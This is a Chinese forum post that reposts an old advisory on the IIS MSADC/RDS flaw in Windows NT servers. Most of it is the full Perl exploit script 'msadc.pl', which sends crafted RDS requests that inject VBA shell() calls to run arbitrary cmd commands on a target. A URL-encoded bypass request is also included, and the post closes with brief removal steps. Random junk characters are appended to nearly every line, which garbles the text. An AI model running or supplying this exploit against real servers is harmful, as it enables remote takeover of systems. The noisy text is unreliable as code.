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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^m;dEe&@F  
r5jiB L~  
涉及程序: v_)a=I%o&2  
Microsoft NT server Fh9%5-t:J  
(f#QETiV  
描述: I<e[/#5P\`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 nF~</>  
7 Bm 18  
详细: C9E l {f  
如果你没有时间读详细内容的话,就删除: 5 WSu  
c:\Program Files\Common Files\System\Msadc\msadcs.dll VgtW T`F.I  
有关的安全问题就没有了。 nr*~R-,\  
k$UgTZ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `2c>M\c4U  
T=35?   
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 R#i|n< x  
关于利用ODBC远程漏洞的描述,请参看: AVVL]9b_2  
EF=.L{  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |};]^5s9  
oEbgyT gB  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 u.*@ l GVW  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp LI_>fuv"8  
FL% GW:  
这里不再论述。 ^8$CpAK]M  
$gT+Ue|7  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 0-pLCf  
^ j;HYs_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ;"SnCBt:>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [?x9NQ{  
+]uW|owxo  
fN~kd m.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" s:lar4>kM  
]vJZ v"ACn  
#!perl ,X(P/x{B  
# $T{,3;kt  
# MSADC/RDS 'usage' (aka exploit) script .w/#S-at  
# Q W#]i  
# by rain.forest.puppy ]UKKy2r.  
# Ou</{l/  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me V#[I/D  
# beta test and find errors! "<ow;ciJF  
KY H*5  
use Socket; use Getopt::Std; GdG1e%y]z  
getopts("e:vd:h:XR", \%args);  hLFf  
W/ZmG]sZE  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Be}e%Rk  
/]"&E"X"  
if (!defined $args{h} && !defined $args{R}) { H `y.jSNi  
print qq~ C-d|;R}Ww  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <GPL8D  
-h <host> = host you want to scan (ip or domain) r) Ts(#Z  
-d <seconds> = delay between calls, default 1 second %])-+T  
-X = dump Index Server path table, if available 6~zR(HzV{  
-v = verbose _ _cJ+%e  
-e = external dictionary file for step 5 kf\n  
-cs 4<  
Or a -R will resume a command session UgDai?b1  
W[PZQCL}K)  
~; exit;} ;~T)pG8IS  
q"ba~@<BEl  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 4 r#O._Z  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} D 7 l&L  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /tRzb8`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~K%]9  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %HSS x+2oR  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uXq?Z@af|f  
y_J~n 9R  
if (!defined $args{R}){ $ret = &has_msadc; =o;QvOS;  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} H6E@C}cyM  
N[X%tf\L]F  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" @+~=h{jv<  
. "cmd /c "; ;wND?:  
$in=<STDIN>; chomp $in; vb/*ILS  
$command="cmd /c " . $in ; .B*Yg<j  
%Y%+K5;AZ  
if (defined $args{R}) {&load; exit;} zMs]9o  
_?<Y>B, E  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; f^](D'L?D  
&try_btcustmr; @z"Zj 3ti  
wpu]{~Y  
print "\nStep 2: Trying to make our own DSN..."; S`2MQL  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; $UW!tg*U&  
C.L5\"%  
print "\nStep 3: Trying known DSNs..."; ,e+.Q#r*Y  
&known_dsn; 8=gr F  
mXlXB#N  
print "\nStep 4: Trying known .mdbs..."; W093rNF~  
&known_mdb; 4LARqSmt  
_/ j44q  
if (defined $args{e}){ A}C&WT~  
print "\nStep 5: Trying dictionary of DSN names..."; =bs4*[zq  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Ek _k_!  
8F($RnP3  
print "Sorry Charley...maybe next time?\n"; 2#_9x7g+  
exit; OdgfvHDgW  
S;NChu?8  
############################################################################## |[D~7|?  
qMYR\4"$  
sub sendraw { # ripped and modded from whisker %8`zaa  
sleep($delay); # it's a DoS on the server! At least on mine... g_;5"  
my ($pstr)=@_; ~B>I?j  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Z]$yuM  
die("Socket problems\n"); 1j o.d  
if(connect(S,pack "SnA4x8",2,80,$target)){ O8SX#,3^}  
select(S); $|=1; 8"wA8l.  
print $pstr; my @in=<S>; 3Zsqx =w  
select(STDOUT); close(S); GK/a^[f+'l  
return @in; \|R`wFn^P  
} else { die("Can't connect...\n"); }} C JiMg'K  
Bx E1Ky8@A  
############################################################################## ':[+UUC@  
vtR<(tOu@  
sub make_header { # make the HTTP request OW)8Z 60  
my $msadc=<<EOT E1 *\)q  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 gtJ^8khME  
User-Agent: ACTIVEDATA sC ]&Qr_  
Host: $ip  _+|*  
Content-Length: $clen `]5XY8^kI  
Connection: Keep-Alive PZLWyp  
#.9Xkn9S  
ADCClientVersion:01.06 }y|% wym  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 rZGbU&ZM8  
?jw)%{iKYV  
--!ADM!ROX!YOUR!WORLD! TW3:Y\p  
Content-Type: application/x-varg GD[~4G  
Content-Length: $reqlen ./#K@V1  
Y+/ofk "  
EOT v8*ZwF  
; $msadc=~s/\n/\r\n/g; ~l6e&J  
return $msadc;} ,wO5IaV  
SKLQAE5  
############################################################################## Y141Twjvd  
54uTu2  
sub make_req { # make the RDS request 5*g@;aR1  
my ($switch, $p1, $p2)=@_; e-qr d  
my $req=""; my $t1, $t2, $query, $dsn; 68I4MZK>4  
EXa6"D  
if ($switch==1){ # this is the btcustmr.mdb query l*'8B)vN2  
$query="Select * from Customers where City=" . make_shell(); MLBZmM '  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . uO[4 WZ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} W\} VZY  
A*E4hop[  
elsif ($switch==2){ # this is general make table query ,z%F="@b9  
$query="create table AZZ (B int, C varchar(10))"; Crpk q/M  
$dsn="$p1";} ::TUSz2/2  
bL0+v@(r  
elsif ($switch==3){ # this is general exploit table query s ]QzNc  
$query="select * from AZZ where C=" . make_shell(); d_5h6C z4  
$dsn="$p1";} ~d{E>J77j  
NLz$jk%=g  
elsif ($switch==4){ # attempt to hork file info from index server Qs% f6rL  
$query="select path from scope()"; B|,6m 3.  
$dsn="Provider=MSIDXS;";} KL5rF,DME  
~PlwPvWo  
elsif ($switch==5){ # bad query 5I&^n0h|&  
$query="select"; [&{"1Z  
$dsn="$p1";} DN^ln%#  
5V?1/  
$t1= make_unicode($query); /%xK-z,V  
$t2= make_unicode($dsn); U#F(#3/  
$req = "\x02\x00\x03\x00"; *D<sk7  
$req.= "\x08\x00" . pack ("S1", length($t1)); }FM<uBKW  
$req.= "\x00\x00" . $t1 ; Ccc6 ko_  
$req.= "\x08\x00" . pack ("S1", length($t2)); )@K|Co  
$req.= "\x00\x00" . $t2 ; Z@ I%ppd  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; -3 W 4  
return $req;} 8L=QfKr  
x<ENN>mW1  
############################################################################## :A[bqRqe  
ww\/$ |  
sub make_shell { # this makes the shell() statement k*!J,/=k  
return "'|shell(\"$command\")|'";} B=Zo0 p^  
b7>;UX  
############################################################################## 2>EIDRLJ-  
~{5%~8h.0r  
sub make_unicode { # quick little function to convert to unicode Fa/i./V2  
my ($in)=@_; my $out; jzPC9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } CJu;X[6  
return $out;} gdT^QM:y4$  
x_@ev-  
############################################################################## fmSw%r|pT  
\C<rg|  
sub rdo_success { # checks for RDO return success (this is kludge) }`_2fJ6  
my (@in) = @_; my $base=content_start(@in); "lz!'~im  
if($in[$base]=~/multipart\/mixed/){ yTDoS|B+)  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 4h~Oj y16&  
return 0;} (c} 0Sg  
;3?M?E/$s  
############################################################################## 5#d(_  
a"&Z!A:Z=  
sub make_dsn { # this makes a DSN for us v5 9>  
my @drives=("c","d","e","f");  Mys;Il "  
print "\nMaking DSN: "; L>L4%?  
foreach $drive (@drives) { b _u&%  
print "$drive: "; S3J6P2P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . $ o t"Du  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" NA3yd^sr  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); M"_XaVl  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 2i>xJMW  
return 0 if $2 eq "404"; # not found/doesn't exist T@RzY2tz  
if($2 eq "200") { @DUdgPA  
foreach $line (@results) { )0GnTB;5Z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} O]PfQ  
} return 0;} tlcA\+%)  
}6S4yepl  
############################################################################## >`NM?KP s  
? {&#l2  
sub verify_exists { Y3Qq'FN!I  
my ($page)=@_; )5&m:R9  
my @results=sendraw("GET $page HTTP/1.0\n\n"); sO  
return $results[0];} FSBCk  
J-QQ!qa0  
############################################################################## e6_.ID'3  
2;&13%@!  
sub try_btcustmr { ! \gRXP}  
my @drives=("c","d","e","f"); oqY?#p/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Xoik%T-  
b%_QL3 m6  
foreach $dir (@dirs) { Q3/q%#q>  
print "$dir -> "; # fun status so you can see progress 9M!_D?+P?  
foreach $drive (@drives) { 57j:Lw~   
print "$drive: "; # ditto O.4"h4{'  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; lGM3?AN  
$reqlenlen=length( "$reqlen" ); BT#>b@Xub  
$clen= 206 + $reqlenlen + $reqlen; pUwX cy<n  
uo65i 1oi  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); BsRas  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} M"FAUqz`  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} hZ#tB  
,U tw!]  
############################################################################## SP*5 W)6  
,AD| u_pP  
sub odbc_error { M\<!m^~  
my (@in)=@_; my $base; u+R?N% EKP  
my $base = content_start(@in); 2+P3Sii  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Mb9q<4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /Z% ?;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k}O|4*.BT  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9D| FqU |  
return $in[$base+4].$in[$base+5].$in[$base+6];} R utW{wh  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; .kYzB.3@]  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ?ykZY0{B  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} zbi  
\=_8G:1  
############################################################################## c,-x}i0c  
(o:Cxh V  
sub verbose { jK=*~I  
my ($in)=@_; (G"qIw   
return if !$verbose; * c%@f<R~  
print STDOUT "\n$in\n";} _F*w ,b$8  
s7 KKH w  
############################################################################## c%U$qao=c+  
6vjB; uS[  
sub save { @uE=)mP@  
my ($p1, $p2, $p3, $p4)=@_; B~aOs>1 S]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \I'Zc]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; `kv$B3  
close OUT;} IL=v[)en4  
UxvsSHi  
############################################################################## b(yO  
KALg6DZe:  
sub load { Gu}x+hG  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5HIpoj;\(  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); b mm@oi  
@p=<IN>; close(IN); 6m" 75  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); _9@?Th&_e  
$target= inet_aton($ip) || die("inet_aton problems"); qN0#=X  
print "Resuming to $ip ..."; M+E5PZ|_  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; &Kv evPF  
if($p[1]==1) { wW<"l"x,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; <  t (Pw  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ?|8Tgs@+  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); PVU"oz&T  
if (rdo_success(@results)){print "Success!\n";} B0 I?  
else { print "failed\n"; verbose(odbc_error(@results));}} (XwLKkw0n  
elsif ($p[1]==3){ uy9B8&Sr  
if(run_query("$p[3]")){ IX*S:7S[  
print "Success!\n";} else { print "failed\n"; }} ~fF }  
elsif ($p[1]==4){ \O8f~zA{G  
if(run_query($drvst . "$p[3]")){ m c+wRx  
print "Success!\n"; } else { print "failed\n"; }} g Oj5c  
exit;} bGi_", 8  
!bcbzg2d&  
############################################################################## )ra66E  
,1[??Y  
sub create_table { j'i42-Lt/p  
my ($in)=@_; ._&lG3'  
$reqlen=length( make_req(2,$in,"") ) - 28; SN{*:\>,  
$reqlenlen=length( "$reqlen" ); 5An0D V5  
$clen= 206 + $reqlenlen + $reqlen; u0Erz0*G4  
my @results=sendraw(make_header() . make_req(2,$in,"")); xs I/DW  
return 1 if rdo_success(@results); mCt>s9a)H  
my $temp= odbc_error(@results); verbose($temp); &o/4hnHYt  
return 1 if $temp=~/Table 'AZZ' already exists/; (K6`nWk2  
return 0;} w&"w"  
=.X?LWKY  
############################################################################## f>5RAg  
ZQkw}3*n  
sub known_dsn { z;C=d(|nN  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .lBY"W&{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", mVK9NK  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ~8m>DSs)D  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); CdDd+h8  
]pV1T  
foreach $dSn (@dsns) { [/Z'OV"tU  
print "."; y<1$^Y1/)  
next if (!is_access("DSN=$dSn")); oe |e+  
if(create_table("DSN=$dSn")){ ^CPfo/!  
print "$dSn successful\n"; M91lV(Z   
if(run_query("DSN=$dSn")){ V0Z7o\-J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !NYM(6!(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} gc@#O#K~h^  
&7w>K6p  
############################################################################## M6'C3,y0  
yJ8}*Gj&  
sub is_access { ING_:XpnJ  
my ($in)=@_; MXF"F:-Kn  
$reqlen=length( make_req(5,$in,"") ) - 28; H~|%vjH  
$reqlenlen=length( "$reqlen" ); = (gmd>N  
$clen= 206 + $reqlenlen + $reqlen; (Q5@MfK`  
my @results=sendraw(make_header() . make_req(5,$in,"")); 8q [c  
my $temp= odbc_error(@results); NceB'YG|  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); E^ok`wfO  
return 0;} "Wk{4gS7l  
:pDY  
############################################################################## [Hj'nA^  
K@P`_yxN  
sub run_query { W/r mm*  
my ($in)=@_; l-S'ATZ0p  
$reqlen=length( make_req(3,$in,"") ) - 28; }utNZhJ  
$reqlenlen=length( "$reqlen" ); F[CT l3X  
$clen= 206 + $reqlenlen + $reqlen; -#wVtXaSc  
my @results=sendraw(make_header() . make_req(3,$in,"")); <.WM-Z  
return 1 if rdo_success(@results); e[QxFg0E  
my $temp= odbc_error(@results); verbose($temp); %A62xnX  
return 0;} x$n~f:1Y  
}@14E-N=  
############################################################################## +lW}ixt  
_@!QY   
sub known_mdb { Fi'M"^:r {  
my @drives=("c","d","e","f","g"); l+2cj?X  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V5O=iMP  
my $dir, $drive, $mdb; >7nV$.5S  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; rg5]`-!=  
r]8x;v1  
# this is sparse, because I don't know of many {^cF(7p  
my @sysmdbs=( "\\catroot\\icatalog.mdb", I f3{E  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", i Y*o;z,~  
"\\system32\\certmdb.mdb", Jq$_=X&  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% +YkW[a\4  
i_=?eUq%q/  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F#1 Kk#t  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1l+kO,X]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5L-lpT8P  
"\\cfusion\\cfapps\\security\\realm_.mdb", [0u.}c;(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", EmX>T>~#D  
"\\cfusion\\database\\cfexamples.mdb", v7;J%9=0D`  
"\\cfusion\\database\\cfsnippets.mdb", ;%u_ ;,((  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Dxt),4 %P  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", mDQEXMD  
"\\cfusion\\brighttiger\\database\\cleam.mdb", rGnI(m.  
"\\cfusion\\database\\smpolicy.mdb", [1b6#I"x  
"\\cfusion\\database\cypress.mdb", =.36y9Mfo  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _F`$ d2  
"\\website\\cgi-win\\dbsample.mdb", v /R[?H)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", b0@>xT  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" b4Z`y8=  
); #these are just JF~1' "_f:  
foreach $drive (@drives) { c62dorDqy  
foreach $dir (@dirs){ d>%gW*  
foreach $mdb (@sysmdbs) { oX'0o 'c  
print "."; +0XL5( '2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =db'#m{$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; qH#r-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ?a5h iN0  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; D W/1 =3  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5Vp;dc  
o84UFhm   
foreach $drive (@drives) {  0]AN;  
foreach $mdb (@mdbs) { j G-  
print "."; BBHK  
if(create_table($drv . $drive . $dir . $mdb)){ *16<M)7  
print "\n" . $drive . $dir . $mdb . " successful\n"; G2.|fp_}pG  
if(run_query($drv . $drive . $dir . $mdb)){ B7!<{i  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; _u&>&,:q  
} else { print "Something's borked. Use verbose next time\n"; }}}} T@TIz z  
} _om0 e=5)  
AV40:y\RW  
############################################################################## Q6"uK  
gNShOu  
sub hork_idx { S4cpQq.  
print "\nAttempting to dump Index Server tables...\n"; `|$'g^eCL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; {5^K Xj$B  
$reqlen=length( make_req(4,"","") ) - 28; \6{krn|  
$reqlenlen=length( "$reqlen" ); qysTjGwa]  
$clen= 206 + $reqlenlen + $reqlen; iI5+P`sE&J  
my @results=sendraw2(make_header() . make_req(4,"","")); >+cSPN'i>  
if (rdo_success(@results)){ .VT;H1#  
my $max=@results; my $c; my %d; 1/B]TT  
for($c=19; $c<$max; $c++){ 'E4AV58.  
$results[$c]=~s/\x00//g; Ntb:en!X  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; pb!V|#u"  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; qgoJ4Z*  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; V=pMq?Nr  
$d{"$1$2"}="";} TG}d3ZU !  
foreach $c (keys %d){ print "$c\n"; } %$@1FlqX;  
} else {print "Index server doesn't seem to be installed.\n"; }} .%=V">R  
qn B<k,8T  
############################################################################## N]NF\7(  
N XpmT4  
sub dsn_dict { 2 {bhA5L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); bS.s?a  
while(<IN>){ 33Jd!orXU  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 5%*w<6<_z  
next if (!is_access("DSN=$dSn")); ~ 9GOk;{~&  
if(create_table("DSN=$dSn")){ |0`hE;Kt7  
print "$dSn successful\n"; C5xag#Z1  
if(run_query("DSN=$dSn")){ 7R}9oK_I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { uG!:Z6%p  
print "Something's borked. Use verbose next time\n";}}} /F.Wigv  
print "\n"; close(IN);} ,P{mk%=9  
xH-X|N  
############################################################################## lVz9k  
vw2`:]Q+  
sub sendraw2 { # ripped and modded from whisker {_?rh,9q  
sleep($delay); # it's a DoS on the server! At least on mine... S,)d(g3>  
my ($pstr)=@_; k1)%.pt%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || DAfyK?+UL  
die("Socket problems\n"); ~9\$5n)a  
if(connect(S,pack "SnA4x8",2,80,$target)){ eG5Y+iL-V  
print "Connected. Getting data"; Z(j{F<\jS  
open(OUT,">raw.out"); my @in; j[I`\"  
select(S); $|=1; print $pstr; NYwR2oX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} * z'8j  
close(OUT); select(STDOUT); close(S); return @in; glj7$  
} else { die("Can't connect...\n"); }} $&{ti.l  
5G(3vRX|1  
############################################################################## )=J5\3O*x  
qFco3  
sub content_start { # this will take in the server headers Wy4$*$  
my (@in)=@_; my $c; {ox2Tg?  
for ($c=1;$c<500;$c++) { $<nCXVqL,  
if($in[$c] =~/^\x0d\x0a/){ S${Zzt"  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ('O}&F1  
else { return $c+1; }}} 7ER|'j  
return -1;} # it should never get here actually gn8 |/ev  
BecP T  
############################################################################## &;E5[jO^D  
08s_v=cF  
sub funky { YAVy9$N-  
my (@in)=@_; my $error=odbc_error(@in); Bj Wr5SJ  
if($error=~/ADO could not find the specified provider/){ .pPm~2]z  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; s&a1y~rv  
exit;} /ASaB  
if($error=~/A Handler is required/){ ~1 ~Xfo>  
print "\nServer has custom handler filters (they most likely are patched)\n"; cc}Key@D  
exit;}  Es5f*P0  
if($error=~/specified Handler has denied Access/){ uR;gVO+QC  
print "\nServer has custom handler filters (they most likely are patched)\n"; lDc-W =X=  
exit;}} ,](:<A)W&  
q[3x2sR  
############################################################################## ?S Z1`.S  
~]HN9R^&  
sub has_msadc { m8R9{LC  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Z[Qza13lo  
my $base=content_start(@results); Wy .IcWK  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Rk6deI]  
return 0;} 6$U]9D  
KLoE&ds  
######################## NVKC'==0  
g.py+ ZFJ  
N_eX/ux  
解决方案: /ID3s`D)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll $ _j[2EU  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +#U|skl  
**9x?s  
拿出来充数 哈哈
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